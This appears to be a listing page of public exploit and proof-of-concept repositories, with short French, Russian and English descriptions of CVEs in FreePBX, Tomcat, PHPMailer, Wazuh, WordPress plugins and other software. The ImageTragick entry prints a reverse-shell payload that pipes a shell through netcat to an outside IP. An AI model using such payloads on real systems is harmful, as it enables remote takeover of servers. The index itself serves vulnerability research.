cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ Une boîte à outils Nuclei puissante pour détecter et valider la vulnérabilité critique de contournement d'authentification FreePBX. 📖 Table des matières Cliquez pour développer À propos de ce projet Fonctionnalités clés Analyse de la vulnérabilité Modèles en...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 est une vulnérabilité de path traversal dans le Remote Development Service RDS d'Adobe ColdFusion avec un score CVSS de 10.0 Critique. Elle permet à des attaquants non authentifiés de lire et d'écrire des fichiers arbitraires via le point d'accès...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 vulnérabilité critique d'exécution de code à distance RCE découverte dans Apache Tomcat Les systèmes avec HTTP PUT activé en définissant le paramètre d'initialisation "read-only" du servlet par défaut sur "false" sont affectés. Les versions de Tomcat antérieures à...

CVE-2024-28397-RCE

Script RCE CVE-2024-28397 Charge utile de reverse shell par défaut et argument de commande optionnel autorisé L'exploit fonctionne pour js2py = v0.74 Prérequis Python 3.x Bibliothèque requests pip install requests Écouteur Netcat pour reverse shell Exemple d'utilisation Reverse shell : python...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4 : Exécution de code via l'injection de configuration Laravel Article de blog sur la vulnérabilité https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ Vous pouvez l'utiliser pour un CTF ou simplement pour apprendre. Amusez-vous et que...

CVE-2016-10033

CVE-2016-10033 – Exécution de code à distance dans PHPMailer 📌 Description Ce dépôt contient une preuve de concept PoC d'exploitation pour CVE-2016-10033 , une vulnérabilité dans PHPMailer versions antérieures à 5.2.18. Le problème survient lorsque l'argument $additionalparameters de la fonction...

CVE-2022-30190

CVE-2022-30190 Basé sur https://github.com/JohnHammond/msdt-follina Configuration de l'environnement Utiliser les fichiers dans /env-setup 1. Machine virtuelle : utiliser VirtualBox et Win1021H2Englishx32.iso Build 19044.1288 2. Installer Microsoft Word, exécuter setup.exe /configure...

CVE-2024-29671-POC

NEXTU FLETA Wifi6 Router RCE Exploit POC Ce document décrit comment la vulnérabilité CVE-2024-29671 a été exploitée dans le firmware du routeur NEXTU FLATA AX1500. Environnement d'exécution Ce routeur est basé sur l'architecture MIPS utilisant le chipset Realtek en Little-Endian. La version du...

dp_cryptomg

dpcryptomg Un autre outil pour exploiter CVE-2017-9248, une faiblesse cryptographique dans le gestionnaire de boîte de dialogue Telerik UI pour ASP.NET AJAX. L'exploitation permet d'accéder à un utilitaire de gestion de fichiers capable de téléverser des fichiers arbitraires, ce qui mène...

CVE-2022-42889-POC

CVE-2022-42889-POC Preuve de concept pour la vulnérabilité Apache commons-text CVE-2022-42889. Quel est le problème : Apache Commons Text effectue une interpolation de variables, permettant d'évaluer et d'étendre dynamiquement des propriétés. Le format standard pour l'interpolation est...

secure-by-default-rce-demo

Atténuation des RCE Node.js : DevOps comme dernière ligne de défense Ce projet démontre une vulnérabilité critique d'exécution de code à distance RCE dans une application Next.js notamment via les Server Actions et comment le renforcement de l'infrastructure neutralise efficacement l'attaque même...

CVE-2019-15858

CVE-2019-15858 Неаутентифицированное удалённое выполнение кода в Woody Ad Snippets PoC Уязвимость неаутентифицированного импорта параметров в сочетании с уязвимостью хранимого XSS может привести к удалённому выполнению кода в WordPress-плагине Woody Ad Snippets более 90 000 активных установок...

CVE-2025-24016

Exécution de code à distance RCE sur Wazuh - Preuve de concept Aperçu de la vulnérabilité Ce dépôt démontre la vulnérabilité d'exécution de code à distance RCE dans le serveur Wazuh, introduite par une désérialisation non sécurisée dans le paquet wazuh-manager. La vulnérabilité permet aux...

CVE-2026-48908

CVE-2026-48908 — SP Page Builder Joomla RCE sans authentification Exploit de preuve de concept pour CVE-2026-48908 , une vulnérabilité critique CVSS 4.0 = 10.0 d'exécution de code à distance sans authentification dans le composant SP Page Builder comsppagebuilder de Joomla, par JoomShaper. |...

cve-2021-20837-poc

cve-2021-20837-poc PoC pour CVE-2021-20837 : RCE dans MovableType Cette vulnérabilité a été découverte avec la collaboration de The.Criminal.One. Ce PoC a été développé par lui. ARTICLE DE BLOG : https://nemesis.sh/posts/movable-type-0day/...

CVE-2022-30075

CVE-2022-30075 Аутентифицированное удаленное выполнение кода в маршрутизаторах Tp-Link Затронутые устройства Если ваш маршрутизатор Tp-Link имеет функцию резервного копирования и восстановления, а прошивка старше июня 2022 года, он, вероятно, уязвим. Протестировано на Tp-Link Archer AX50, другие...

spring-shell-vuln

spring-shell-vuln Spring4Shell: Vulnérabilité RCE de Spring core Spring a confirmé la RCE dans Spring Framework. L'équipe vient de publier la déclaration ainsi que les guides d'atténuation pour ce problème. Maintenant, cette vulnérabilité peut être suivie sous le nom CVE-2022-22965. Quelques...

CVE-2026-94589

The Extensions For CF7 (Contact form 7 Database, Conditional Fields and Redirection) WordPress plugin is vulnerable to unauthenticated arbitrary file upload in versions up to and including 3.4.5 . The flaw exists in the extcf7_submit function due to insufficient validation of file extensions, MIM...

EUVD-2026-96041

The Extensions For CF7 Contact form 7 Database, Conditional Fields and Redirection plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.4.5 via the extcf7submit function. This is due to missing file extension, MIME type, and size validation in the...